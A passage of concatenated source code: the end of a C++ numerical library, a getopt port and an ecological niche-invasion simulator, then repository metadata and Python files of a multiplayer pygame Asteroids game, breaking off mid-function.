d=1.0/d;
h=d;
for(m=1;m<=MAXIT;m++)
{
m2=2*m;
aa=m*(b-m)*x/((qam+m2)*(a+m2));
d=1.0+aa*d;
if( std::abs(d) < REAL_MIN) d=REAL_MIN;
c=1.0+aa/c;
if(std::abs(c) < REAL_MIN) c=REAL_MIN;
d=1.0/d;
h*=d*c;
aa= -(a+m)*(qab+m)*x/((a+m2)*(qap+m2));
d=1.0+aa*d;
if( std::abs(d) < REAL_MIN) d=REAL_MIN;
c=1.0+aa/c;
if(std::abs(c) < REAL_MIN) c=REAL_MIN;
d=1.0/d;
del=d*c;
h *= del;
if(std::abs(del-1.0) < EPS) break;
}
if(m>MAXIT) throw(DWS::convergence_error("MAXIT too small in function betacf()"));
return h;
}
}; // namespae DWS
<file_sep>/******************************************************************************/
// CLASS/S: < none >
/******************************************************************************/
// FILE NAME:dwsGetopt.cpp
// VERSION: 1.2.0
// FUNCTION: minimal port of unix/linux gnu getopt.h to platform-independent
// code.
// REMARKS: based on Hans Dietrich's (<EMAIL>)
// version for win32 / MFC. Released into public domain.
//----------------------------------------------------------------------------*/
// Copyright © 2002 */
/*----------------------------------------------------------------------------*/
// AUTHOR/S: <NAME>, <NAME> (pricklysoft.net) */
//----------------------------------------------------------------------------*/
// CREATION DATE:
//--------+----------+--------------------------------------+------------------*/
// VER DATE CHANGES
//--------+----------+--------------------------------------+------------------*/
// 1.2.0 9/18/02 eliminated MFC dependencies. I use it with mingw
//******************************************************************************/
//
// Original comment header:
// XGetopt.cpp Version 1.1
//
// Author: <NAME>
// <EMAIL>
// Modified by:
// <NAME> (<EMAIL>)
// on 18/09/02 09:43
// Now uses standard headers rather than ms <stdafx>
//
//
// This software is released into the public domain.
// You are free to use it in any way you like.
//
// This software is provided "as is" with no expressed
// or implied warranty. I accept no liability for any
// damage or loss of business that this software may cause.
//
///////////////////////////////////////////////////////////////////////////////
#include "dws_getopt.h"
#include <cstring> // D. Schwilk
#include <cstdio> // D. Schwilk
namespace DWS {
char *optarg; // global argument pointer
int optind = 0; // global argv index
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;
optarg = NULL;
if (next == NULL || *next == '\0')
{
if (optind == 0)
optind++;
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
if (std::strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
next = argv[optind]+1;
optind++;
}
char c = *next++;
char *cp = std::strchr(optstring, c); // added std:: - <NAME>
if (cp == NULL || c == ':')
return '?';
cp++;
if (*cp == ':')
{
if (*next != '\0')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}
return c;
}
}; // namespace DWS;
<file_sep>/******************************************************************************/
// FILE NAME:dws_getopt.h
// VERSION: 1.0.0
// FUNCTION: minimal port of unix/linux gnu getopt.h to platform-independent
// code.
// REMARKS: based on Hans Dietrich's (<EMAIL>)
// version for win32 / MFC. Released into public domain.
//----------------------------------------------------------------------------*/
// Copyright © 2002 */
/*----------------------------------------------------------------------------*/
// AUTHOR/S: <NAME> (pricklysoft.net), <NAME> */
//----------------------------------------------------------------------------*/
// CREATION DATE:
//--------+----------+--------------------------------------+------------------*/
// VER DATE CHANGES
//--------+----------+--------------------------------------+------------------*/
// 0.1.1 9/18/02 eliminated MFC dependencies. Use new-style headers.
// 0.1.2 021110 Renamed to dws_getopt, put in DWS namespace
//*****************************************************************************
/*!
* \file
* \brief minimal port of unix/linux gnu getopt.h to platform-independent
* code.
*/
#ifndef XGETOPT_H
#define XGETOPT_H
namespace DWS {
/*!
* \defgroup dws_getopt DWS Getopt function
* @{
*/
extern int optind; //!< The \a argv index of the next variable to be processed
extern int opterr; //!< Error code
extern char *optarg; //!< Pointer to the current argument.
/*! Command line parser like unix getopt.h
*
* The getopt() function parses the command line arguments. Its
* arguments argc and argv are the argument count and array as
* passed into the application on program invocation. In the case
* of Visual C++ programs, argc and argv are available via the
* variables __argc and __argv (double underscores), respectively.
* getopt returns the next option letter in argv that matches a
* letter in optstring.
*
* optstring is a string of recognized option letters; if a letter
* is followed by a colon, the option is expected to have an argument
* that may or may not be separated from it by white space. optarg
* is set to point to the start of the option argument on return from
* getopt.
*
* Option letters may be combined, e.g., "-ab" is equivalent to
* "-a -b". Option letters are case sensitive.
*
* getopt places in the external variable optind the argv index
* of the next argument to be processed. optind is initialized
* to 0 before the first call to getopt.
*
* When all options have been processed (i.e., up to the first
* non-option argument), getopt returns EOF, optarg will point
* to the argument, and optind will be set to the argv index of
* the argument. If there are no non-option arguments, optarg
* will be set to NULL.
*
* The special option "--" may be used to delimit the end of the
* options; EOF will be returned, and "--" (and everything after it)
* will be skipped.
*
* \return
* For option letters contained in the string optstring, getopt
* will return the option letter. getopt returns a question mark (?)
* when it encounters an option letter not included in optstring.
* EOF is returned when processing is finished.
*
* \section Bugs
* -# Long options are not supported.
* -# The GNU double-colon extension is not supported.
* -# The environment variable POSIXLY_CORRECT is not supported.
* -# The + syntax is not supported.
* -# The automatic permutation of arguments is not supported.
* -# This implementation of getopt() returns EOF if an error is
* encountered, instead of -1 as the latest standard requires.
*
* \section Example
* \code
* bool TMyApp::ProcessCommandLine(int argc, char *argv[])
* {
* using namespace std;
* int c;
*
* while ((c = getopt(argc, argv, "aBn:")) != EOF)
* {
* switch (c)
* {
* case 'a':
* cout << "option a\n";
* *
* * set some flag here
* *
* break;
*
* case 'B':
* cout << "option B\n";
* *
* * set some other flag here
* *
* break;
*
* case 'n':
* cout << "option n: value=" << atoi(optarg);
* *
* * do something with value here
* *
* break;
*
* case '?':
* cout << "ERROR: illegal option " << argv[optind-1] << '\n';
* return FALSE;
* break;
*
* default:
* cout << "WARNING: no handler for option " << c << '\n');
* return FALSE;
* break;
* }
* }
* *
* * check for non-option args here
* *
* return TRUE;
* }
* \endcode
*/
int getopt(int argc, char *argv[], char *optstring);
/*@}*/
}; // namespace DWS
#endif //XGETOPT_H
<file_sep>/******************************************************************************/
// FILE NAME: main.cpp
// VERSION: 0.3
// REMARKS: main function in a-niche numerical approximation
//------------------------------------------------------------------------------
// Copyright © 2003
//------------------------------------------------------------------------------
// AUTHOR/S: <NAME>, <NAME> (Stanford University)
//------------------------------------------------------------------------------
// CREATION DATE: 30/10/03 09:37
//--------+----------+--------------------------------------+-------------------
// VER DATE CHANGES
//--------+----------+--------------------------------------+-------------------
// 0.2 031031 Added L searching to C++ code, and removed from python
// front-end -- required adding sig digits checking to
// the dws_numerical library.
// 0.3 031125 Changed behavior so prog will loop through input
// lines and produce a full line of output for each set
// of input parameters.
/******************************************************************************/
#include "dws_getopt.h"
#include "dws_numerical.h"
#include <iostream>
#include <cstring>
#include <stdexcept>
#include <vector>
#include <numeric>
#include <cstdlib>
#include <stdio.h>
#include <set>
typedef std::vector<double> DV;
// Constants
static const char* PROGRAM = "a-niche";
static const char* VERSION = "0.3";
static const char* AUTHOR = "<NAME>, <NAME>; 2003";
// global vars with defaults
static bool SEARCH_FOR_L(false);
static int SIG_DIGITS(4);
static int J(1001);
static double E(1.0), L(0.001), nb(0.005), db(50);
static int diversity(0); // resident diversity
// Functions
void FillLandscape(DV& outV);
double E_at_X(int x);
double InvasionProb(const DV& landscape);
double DoSearch(double& lastprob);
bool ProcessOptions(int argc, char *argv[]);
void PrintHelp();
// Function: main
// --------------
int main(int argc, char *argv[])
{
if(!ProcessOptions(argc, argv)) std::exit(1);
if(SEARCH_FOR_L) {
while(std::cin.good()) {
std::cin >> J >> E >> nb >> db;
if(!std::cin.good()) break;
double lastprob = 0;
if (J%2 ==0) J++;
double l = DoSearch(lastprob);
std::cout << J << '\t' << E << '\t' << nb << '\t' << db << '\t' << diversity << '\t' << l << '\t' << lastprob << std::endl;
}
} else {
while(std::cin.good()){
std::cin >> J >> E >> L >> nb >> db;
if (J%2 ==0) J++;
DV landscape(J);
FillLandscape(landscape);
std::cout << J << '\t' << E << '\t' << L << '\t' << nb << '\t' << db << '\t' << diversity << '\t' << InvasionProb(landscape) << '\t' << 1.0 / J << std::endl;
}
}
return 0;
} // main()
// E_at_X
// ------
// Calculate Env value at position x
double E_at_X(int x)
{
return ( (((double) x) / J) * E);
}
// FillLandscape
// -------------
void FillLandscape(DV& outV)
{
diversity = 0;
int middle, pop_start;
double nopt;
outV.resize(J);
middle = J/2; // assume J is odd
nopt = E_at_X(middle+1) + 0.5*L;
pop_start = middle+1;
diversity=1;
// assign niche optima forward
for(int i=middle+1; i<J;i++) {
if (E_at_X(i) - E_at_X(pop_start) > L) {
nopt += L;
// if(nopt > E) nopt = E; // so no optimum is beyond the Env range -- ??
pop_start = i;
diversity++;
}
outV[i] = nopt;
}
// assign backward
for(int i=middle-1; i >= 0; i--){
outV[i] = E - outV[J-1-i];
}
diversity*= 2;
//assign middle (invader)
outV[middle] = E_at_X(middle);
}
// InvasionProb()
// --------------
// Calculate probability of immigrant invading.
double InvasionProb(const DV& landscape)
{
using namespace DWS;
double i_prob = 0;
int middle(J/2);
std::vector<DV> prob_matrix(J);
//make res matrix
for(int x=0;x<J;x++) {
DV residents(J);
for(int r=0;r<J;r++) {
residents[r] = normal_probability(r-x, db) * normal_probability(E_at_X(x) - landscape[r], nb);
// std::cout << x << '\t' << r << '\t' << residents[r] << std::endl;
}
prob_matrix[x] = residents;
}
//std::cout << "matrix made" << std::endl;
// calculate probs
for(int x=0; x<J;x++) {
double normalizer = std::accumulate(prob_matrix[x].begin(), prob_matrix[x].end(), 0.0);
double invasion = (normal_probability(middle-x, db) * normal_probability(E_at_X(x) - landscape[middle], nb));
if (x!=middle) i_prob += (invasion / normalizer); // leaving middle out of sum
// r_prob += (normalizer - invasion) / normalizer;
}
// std::cout << i_prob << '\t' << r_prob << std::endl;
return i_prob / (J-1); // why not /J ?
}
// Function: DoSearch
// ------------------
// Search for minimum limiting sim value that allows invasion.
// Simple binary search that works ok -- faster would be linear
// interpolation.
double DoSearch(double& lastprob)
{
DV landscape(J);
double Min(0.0), Max(E), InvProb(0);
L = (Max - Min) / 2.0;
while(!DWS::compare_sig(Max, Min,SIG_DIGITS)){
FillLandscape(landscape);
InvProb = InvasionProb(landscape);
// Now see which side of 1/J we fell and ajust max, min:
if (InvProb > 1.0/J) { // prob of death is 1/J
Max = std::min(Max, L);
} else {
Min = std::max(Min, L);
}
L = (Max + Min) / 2.0;
//std::cout << L << std::endl;
}
lastprob = InvProb;
return (L);
}
// Function: ProcessOptions
// ------------------------
bool ProcessOptions(int argc, char *argv[])
{
using namespace std;
char opt;
while ((opt = DWS::getopt(argc, argv, "hvd:s")) != EOF) {
switch (opt) {
case 'h':
PrintHelp();
exit(0);
case 'v':
cout << PROGRAM << " version " << VERSION << ", by " << AUTHOR << endl;
exit(0);
case 'd':
SIG_DIGITS = std::abs(atoi(DWS::optarg));
break;
case 's':
SEARCH_FOR_L = true;
break;
case '?':
cout << "ERROR: illegal option " << argv[DWS::optind-1] << '\n';
return false;
break;
default:
cout << "WARNING: no handler for option " << opt << '\n';
return false;
break;
}
}
return true;
}
// Function: PrintHelp
// -------------------
void PrintHelp()
{
using namespace std;
// cout << PROGRAM << ' ' << VERSION << '\n';
cout << "Usage: " << PROGRAM << " -[hvs] [-d NUMBER]\n";
cout << "options:\n" ;
cout << "-h\t\thelp\t\tPrint this help message\n";
cout << "-d NUMBER\tdigits\t\tSignificant digits for L\n";
cout << "-s \t\tsearch\t\tSearch for L\n";
cout << "-v\t\tversion\t\tPrint version info\n";
}
|
c2bdbe715813ffab427d025cdf7f83fdbe601d5f
|
[
"Markdown",
"Python",
"Makefile",
"C++"
] | 9
|
Makefile
|
dschwilk/ms-data-EcologyLetters-2005
|
1bba8db92669640960928dc4dd0211769a61d353
|
17bdfe7bc0ec65c68e1a05232ce209fc16c57e02
|
refs/heads/master
|
<file_sep>import pygame
import BasicFunctions
class GameEntity(object):
"""All game entities ( player, asteroids, bullets)"""
def __init__(self, position, image, speed=0):
self.image = image
self.position = list(position[:])
self.speed = speed
def size(self):
return max(self.image.get_height(), self.image.get_width())
def draw_on(self, screen):
BasicFunctions.draw_on_screen(self.image, screen, self.position)
<file_sep>import pygame
from GameEntity import GameEntity
import Loader
import BasicFunctions
import math
from Bullet import Bullet
import time
class Player(GameEntity):
def __init__(self, position, screen_bounds, name, id):
self.id = id
if id == 1:
super(Player, self).__init__(position, Loader.load_image('Spaceship_blue_0.png'))
self.color = (0, 153, 255)
self.image_1 = Loader.load_image('Spaceship_blue_1.png')
self.image_2 = Loader.load_image('Spaceship_blue_2.png')
self.image_3 = Loader.load_image('Spaceship_blue_3.png')
if id == 2:
super(Player, self).__init__(position, Loader.load_image('Spaceship_red_0.png'))
self.color = (242, 32, 17)
self.image_1 = Loader.load_image('Spaceship_red_1.png')
self.image_2 = Loader.load_image('Spaceship_red_2.png')
self.image_3 = Loader.load_image('Spaceship_red_3.png')
if id == 3:
super(Player, self).__init__(position, Loader.load_image('Spaceship_green_0.png'))
self.color = (17, 242, 51)
self.image_1 = Loader.load_image('Spaceship_green_1.png')
self.image_2 = Loader.load_image('Spaceship_green_2.png')
self.image_3 = Loader.load_image('Spaceship_green_3.png')
if id == 4:
super(Player, self).__init__(position, Loader.load_image('Spaceship_magenta_0.png'))
self.color = (252, 30, 227)
self.image_1 = Loader.load_image('Spaceship_magenta_1.png')
self.image_2 = Loader.load_image('Spaceship_magenta_2.png')
self.image_3 = Loader.load_image('Spaceship_magenta_3.png')
self.name = name
self.direction_xy = [0, 0]
self.isMoving = False
self.angle = 0
self.max_speed = 3
self.screen_bounds = screen_bounds
self.bullets = []
self.lives = 3
self.score = 0
self.godmode = 0
self.now = time.time()
self.future = self.now + 2
self.hitbox = (self.direction_xy[0], self.direction_xy[1], 15, 22)
def draw_on_screen(self, screen):
if self.speed == 0:
rotated_image = BasicFunctions.rotate_entity(self.image, self.angle)
BasicFunctions.draw_on_screen(rotated_image, screen, self.position)
elif 0 < self.speed <= self.max_speed * 0.5:
rotated_image = BasicFunctions.rotate_entity(self.image_1, self.angle)
BasicFunctions.draw_on_screen(rotated_image, screen, self.position)
elif self.max_speed * 0.5 < self.speed < self.max_speed:
rotated_image = BasicFunctions.rotate_entity(self.image_2, self.angle)
BasicFunctions.draw_on_screen(rotated_image, screen, self.position)
elif self.speed == self.max_speed:
rotated_image = BasicFunctions.rotate_entity(self.image_3, self.angle)
BasicFunctions.draw_on_screen(rotated_image, screen, self.position)
def move(self):
"""x is moved by speed*cos(angle+90) +90 because player starts at 90 (facing up)
y is moved by speed*sin(angle+90)
so new x coords are equal to old x plus xMoved
new y coords are equal to old y plus yMoved
"""
"""x direction"""
self.direction_xy[0] = math.cos(-math.radians(self.angle + 90))
"""y direction"""
self.direction_xy[1] = -math.sin(math.radians(self.angle + 90))
move_x = self.direction_xy[0] * self.speed
move_y = self.direction_xy[1] * self.speed
self.position[0] += move_x
self.position[1] += move_y
if self.position[0] >= self.screen_bounds[0]:
self.position[0] = 0
elif self.position[0] < 0:
self.position[0] = self.screen_bounds[0] - 1
if self.position[1] >= self.screen_bounds[1]:
self.position[1] = 0
elif self.position[1] < 0:
self.position[1] = self.screen_bounds[1] - 1
self.hitbox = (self.position[0] - 30, self.position[1] - 35, 60, 60)
def turn(self, direction):
if direction == "left":
self.angle += 7
self.angle %= 360
elif direction == "right":
self.angle -= 7
self.angle %= 360
def shoot(self):
if self.id == 1:
print('pew1')
if self.id == 2:
print('pew2')
if self.id == 3:
print('pew3')
if self.id == 4:
print('pew4')
adjust = [0, 0]
adjust[0] = math.sin(-math.radians(self.angle)) * self.image.get_width()
adjust[1] = -math.cos(math.radians(self.angle)) * self.image.get_height()
# create a new missile using the calculated adjusted position
new_bullet = Bullet((self.position[0] + adjust[0], self.position[1] + adjust[1] / 2), self.angle)
self.bullets.append(new_bullet)
<file_sep>import pygame
import Loader
from Asteroid import Asteroid
class Asteroid_big(Asteroid):
def __init__(self, position, screen_bounds, speed, direction):
self.sizeofHitBox = 65
self.resized_image = pygame.transform.scale(Loader.load_image("Asteroid_big.png"), (80, 80))
super(Asteroid_big, self).__init__(self.resized_image, position, screen_bounds, speed,
self.sizeofHitBox, direction, 100, "big", [30, 30])
<file_sep>import BasicFunctions
import Loader
from GameEntity import GameEntity
import math
class Bullet(GameEntity):
def __init__(self, position, angle):
super(Bullet, self).__init__(position, Loader.load_image('missile.png'))
self.direction_xy = [position[0], position[1]]
self.angle = angle
self.max_speed = 3
self.move_x = 0
self.move_y = 0
self.hitbox = (self.direction_xy[0], self.direction_xy[1], 15, 22)
def draw_on_screen(self, screen):
rotated_image = BasicFunctions.rotate_entity(self.image, self.angle)
BasicFunctions.draw_on_screen(rotated_image, screen, self.direction_xy)
def move(self):
self.move_x = math.cos(-math.radians(self.angle + 90))
self.move_y = -math.sin(math.radians(self.angle + 90))
move_x = self.move_x * self.max_speed
move_y = self.move_y * self.max_speed
self.direction_xy[0] += move_x
self.direction_xy[1] += move_y
self.hitbox = (self.direction_xy[0]-5, self.direction_xy[1]-15, 10, 30)
<file_sep>import pygame
import pygame.freetype
from pygame.sprite import Sprite
from pygame.rect import Rect
from enum import Enum
import Game
import Loader
import Howmany
BLUE = (106, 159, 181)
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
def create_surface_with_text(text, font_size, text_rgb, bg_rgb):
""" Returns surface with text written on """
font = pygame.freetype.SysFont("Courier", font_size, bold=True)
surface, _ = font.render(text=text, fgcolor=text_rgb, bgcolor=bg_rgb)
return surface.convert_alpha()
class GameState(Enum):
QUIT = -1
TITLE = 0
NEWGAME = 1
START = 2
ONEPL = 3
TWOPL = 4
THREEPL = 5
FOURPL = 6
class UIElement(Sprite):
""" An user interface element that can be added to a surface """
game_state = GameState.TITLE
def __init__(self, center_position, text, font_size, bg_rgb, text_rgb, action=None):
"""
Args:
center_position - tuple (x, y)
text - string of text to write
font_size - int
bg_rgb (background colour) - tuple (r, g, b)
text_rgb (text colour) - tuple (r, g, b)
"""
self.mouse_over = False # indicates if the mouse is over the element
# create the default image
default_image = create_surface_with_text(
text=text, font_size=font_size, text_rgb=text_rgb, bg_rgb=bg_rgb
)
# create the image that shows when mouse is over the element
highlighted_image = create_surface_with_text(
text=text, font_size=font_size * 1.2, text_rgb=text_rgb, bg_rgb=bg_rgb
)
# add both images and their rects to lists
self.images = [default_image, highlighted_image]
self.rects = [
default_image.get_rect(center=center_position),
highlighted_image.get_rect(center=center_position),
]
# calls the init method of the parent sprite class
super().__init__()
self.action = action
def update(self, mouse_pos, mouse_up):
""" Updates the element's appearance depending on the mouse position
and returns the button's action if clicked.
"""
if self.rect.collidepoint(mouse_pos):
self.mouse_over = True
if mouse_up:
return self.action
else:
self.mouse_over = False
def draw(self, surface):
""" Draws element onto a surface """
surface.blit(self.image, self.rect)
@property
def image(self):
return self.images[1] if self.mouse_over else self.images[0]
@property
def rect(self):
return self.rects[1] if self.mouse_over else self.rects[0]
def play_level(screen):
return_btn = UIElement(
center_position=(300, 600),
font_size=20,
bg_rgb=None,
text_rgb=WHITE,
text="Return to main menu",
action=GameState.TITLE,
)
onepl = UIElement(
center_position=(650, 300),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="1 player",
action=GameState.ONEPL,
)
twopl = UIElement(
center_position=(650, 350),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="2 players",
action=GameState.TWOPL,
)
threepl = UIElement(
center_position=(650, 400),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="3 players",
action=GameState.THREEPL,
)
fourpl = UIElement(
center_position=(650, 450),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="4 players",
action=GameState.FOURPL,
)
buttons = [onepl, twopl, threepl, fourpl, return_btn]
while True:
mouse_up = False
for event in pygame.event.get():
if event.type == pygame.MOUSEBUTTONUP and event.button == 1:
mouse_up = True
screen.fill(BLUE)
image = Loader.load_image("Background.png")
rect = image.get_rect()
screen.blit(image, rect)
for button in buttons:
ui_action = button.update(pygame.mouse.get_pos(), mouse_up)
if ui_action is not None:
return ui_action
button.draw(screen)
pygame.display.flip()
def title_screen(screen):
game_title = UIElement(
center_position=(650, 200),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="ASTEROIDS",
action=GameState.TITLE,
)
start_btn = UIElement(
center_position=(650, 400),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="Start",
action=GameState.START,
)
quit_btn = UIElement(
center_position=(650, 500),
font_size=30,
bg_rgb=None,
text_rgb=WHITE,
text="Quit",
action=GameState.QUIT,
)
buttons = [game_title, start_btn, quit_btn]
while True:
mouse_up = False
for event in pygame.event.get():
if event.type == pygame.MOUSEBUTTONUP and event.button == 1:
mouse_up = True
screen.fill(BLUE)
image = Loader.load_image("Background.png")
rect = image.get_rect()
screen.blit(image, rect)
for button in buttons:
ui_action = button.update(pygame.mouse.get_pos(), mouse_up)
if ui_action is not None:
return ui_action
button.draw(screen)
pygame.display.flip()
def main():
pygame.init()
screen = pygame.display.set_mode((1280, 720))
UIElement.game_state = GameState.TITLE
while True:
if UIElement.game_state == GameState.TITLE:
UIElement.game_state = title_screen(screen)
if UIElement.game_state == GameState.START:
UIElement.game_state = play_level(screen)
if UIElement.game_state == GameState.ONEPL:
Howmany.igraci = 1
Game.AsteroidsGame().run()
if UIElement.game_state == GameState.TWOPL:
Howmany.igraci = 2
Game.AsteroidsGame().run()
if UIElement.game_state == GameState.THREEPL:
Howmany.igraci = 3
Game.AsteroidsGame().run()
if UIElement.game_state == GameState.FOURPL:
Howmany.igraci = 4
Game.AsteroidsGame().run()
if UIElement.game_state == GameState.QUIT:
pygame.quit()
return
# call main when the script is run
if __name__ == "__main__":
main()
<file_sep>import pygame
import Loader
from Asteroid import Asteroid
class Asteroid_small(Asteroid):
def __init__(self, position, screen_bounds, speed, direction):
self.sizeofHitBox = 25
self.resized_image = pygame.transform.scale(Loader.load_image("Asteroid_big.png"), (32, 32))
super(Asteroid_small, self).__init__(self.resized_image, position, screen_bounds, speed,
self.sizeofHitBox, direction, 200, "small", [10, 15])
<file_sep>import random
import datetime
import pygame
import sys
import Loader
from Asteroid_big import Asteroid_big
from Asteroid_medium import Asteroid_medium
from Asteroid_small import Asteroid_small
from Deus_ex import Deus_ex
from Player import Player
import Menu
import math
import time
import pygame
import pygame.freetype
from pygame.sprite import Sprite
from pygame.rect import Rect
from enum import Enum
import Menu
import Howmany
import threading
import Loader
from threading import Timer
class GameState(Enum):
QUIT = -1
TITLE = 0
NEWGAME = 1
START = 2
ONEPL = 3
TWOPL = 4
THREEPL = 5
FOURPL = 6
screen_size = [1280, 720]
level = 1
eex = 0
# Korekcija ugla
def correct_angle_minus(angle):
new_direction = [0, 0]
deg_angle = math.degrees(angle)
new_direction[0] = math.cos(angle - math.radians(random.randint(0, 20)))
new_direction[1] = -math.sin(angle - math.radians(random.randint(0, 20)))
return new_direction
# Korekcija ugla
def correct_angle_plus(angle):
# corrects angle to be +45deg
new_direction = [0, 0]
new_direction[0] = math.cos(angle + math.radians(random.randint(0, 20)))
new_direction[1] = -math.sin(angle + math.radians(random.randint(0, 20)))
return new_direction
# Učitavanje asteroida u listu i vracanje popunjene liste
def load_asteroids(number):
asteroids = []
for x in range(number):
new_asteroid = spawn_asteroid()
asteroids.append(new_asteroid)
return asteroids
# Spavnovanje asteroida na ekranu
def spawn_asteroid():
position = random.randint(1, 2)
x_pos = 0
y_pos = 0
if position == 1:
x_pos = -50
y_pos = random.randint(0, screen_size[1] - 1)
elif position == 2:
x_pos = random.randint(0, screen_size[0] - 1)
y_pos = -50
asteroid = Asteroid_big([x_pos, y_pos], screen_size, random.uniform(1 + math.log(level), 1.2 + math.log(level)),
[random.uniform(-1, 1),
random.uniform(-1, 1)])
return asteroid
# Spavnovanje Deus Ex-a sa specificinim koordinatama
def spawn_deus_ex(randx, randy):
deus_ex = Deus_ex([randx, randy])
return deus_ex
# Spavnovanje Deus Ex-a sa random koordinatama
def spawn_random_deus_ex():
randx = random.randint(26, 1254)
randy = random.randint(26, 694)
deus_ex = spawn_deus_ex(randx, randy)
return deus_ex
class AsteroidsGame:
UPDATE = pygame.USEREVENT
def __init__(self):
self.init_pygame()
self.setup_screen()
self.clock = pygame.time.Clock()
self.clock1 = pygame.time.Clock()
self.players = []
self.lock = threading.Lock()
self.igraca = Howmany.igraci
self.scoreboard_active = 0
if self.igraca == 1:
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 1", 1))
elif self.igraca == 2:
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 1", 1))
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 2", 2))
elif self.igraca == 3:
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 1", 1))
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 2", 2))
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 3", 3))
elif self.igraca == 4:
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 1", 1))
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 2", 2))
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 3", 3))
self.players.append(Player((screen_size[0] // 2, screen_size[1] // 2), screen_size, "Player 4", 4))
self.asteroids = load_asteroids(2)
self.deus_ex = []
self.deus_ex.append(spawn_random_deus_ex())
# self.active_bullets = []
self.fire_time = []
self.fire_time.append(datetime.datetime.now())
self.fire_time.append(datetime.datetime.now())
self.fire_time.append(datetime.datetime.now())
self.fire_time.append(datetime.datetime.now())
self._draw_threaded()
def init_pygame(self):
fps = 60
pygame.time.set_timer(self.UPDATE, 1000 // fps)
pygame.init()
def setup_screen(self):
self.screen = pygame.display.set_mode((screen_size[0], screen_size[1]))
pygame.display.set_caption("Asteroids")
self.image = Loader.load_image("Background.png")
self.rect = self.image.get_rect()
self.rect.left, self.rect.top = [0, 0]
self.backgroundcolor = 255, 255, 255
def _draw_threaded(self):
self.drawer_thread = threading.Thread(target=self.draw)
self.drawer_thread.daemon = True
self.drawer_thread.start()
# F-ja za crtanje na ekran
def draw(self):
while self.scoreboard_active != 1:
self.screen.fill(self.backgroundcolor)
self.screen.blit(self.image, self.rect)
self.lock.acquire()
for player in self.players:
player.draw_on_screen(self.screen)
# ova linija crta hitbox igraca
# pygame.draw.rect(self.screen, (255, 0, 0), self.player.hitbox, 2)
self.draw_all_asteroids()
self.draw_all_bullets()
self.draw_deus_ex()
# ispisivanje nivoa
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 30)
textsurface = myfont.render('Level: ' + str(level), False, (0, 0, 0), (255, 255, 255))
self.screen.blit(textsurface, (600, 5))
if self.does_player_exist(1):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render('Player: ' + str(next((x for x in self.players if x.id == 1), None).name),
False, (0, 0, 0),
next((x for x in self.players if x.id == 1), None).color)
self.screen.blit(textsurface, (5, 5))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 25)
textsurface = myfont.render('Score: ' + str(next((x for x in self.players if x.id == 1), None).score),
False, (0, 0, 0),
next((x for x in self.players if x.id == 1), None).color)
self.screen.blit(textsurface, (5, 55))
lives = pygame.font.SysFont('Arial', 23)
textsurl = lives.render('Lives: ' + str(next((x for x in self.players if x.id == 1), None).lives),
False, (0, 0, 0), next((x for x in self.players if x.id == 1), None).color)
self.screen.blit(textsurl, (5, 105))
if self.does_player_exist(2):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render('Player: ' + str(next((x for x in self.players if x.id == 2), None).name),
False, (0, 0, 0),
next((x for x in self.players if x.id == 2), None).color)
self.screen.blit(textsurface, (screen_size[0] - 160, 5))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 25)
textsurface = myfont.render('Score: ' + str(next((x for x in self.players if x.id == 2), None).score),
False, (0, 0, 0),
next((x for x in self.players if x.id == 2), None).color)
self.screen.blit(textsurface, (screen_size[0] - 160, 55))
lives = pygame.font.SysFont('Arial', 23)
textsurl = lives.render('Lives: ' + str(next((x for x in self.players if x.id == 2), None).lives),
False, (0, 0, 0), next((x for x in self.players if x.id == 2), None).color)
self.screen.blit(textsurl, (screen_size[0] - 160, 105))
if self.does_player_exist(3):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render('Player: ' + str(next((x for x in self.players if x.id == 3), None).name),
False, (0, 0, 0),
next((x for x in self.players if x.id == 3), None).color)
self.screen.blit(textsurface, (5, screen_size[1] - 40))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 25)
textsurface = myfont.render('Score: ' + str(next((x for x in self.players if x.id == 3), None).score),
False, (0, 0, 0),
next((x for x in self.players if x.id == 3), None).color)
self.screen.blit(textsurface, (5, screen_size[1] - 90))
lives = pygame.font.SysFont('Arial', 23)
textsurl = lives.render('Lives: ' + str(next((x for x in self.players if x.id == 3), None).lives),
False, (0, 0, 0), next((x for x in self.players if x.id == 3), None).color)
self.screen.blit(textsurl, (5, screen_size[1] - 140))
if self.does_player_exist(4):
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 28)
textsurface = myfont.render('Player: ' + str(next((x for x in self.players if x.id == 4), None).name),
False, (0, 0, 0),
next((x for x in self.players if x.id == 4), None).color)
self.screen.blit(textsurface, (screen_size[0] - 140, screen_size[1] - 40))
pygame.font.init()
myfont = pygame.font.SysFont('Arial', 25)
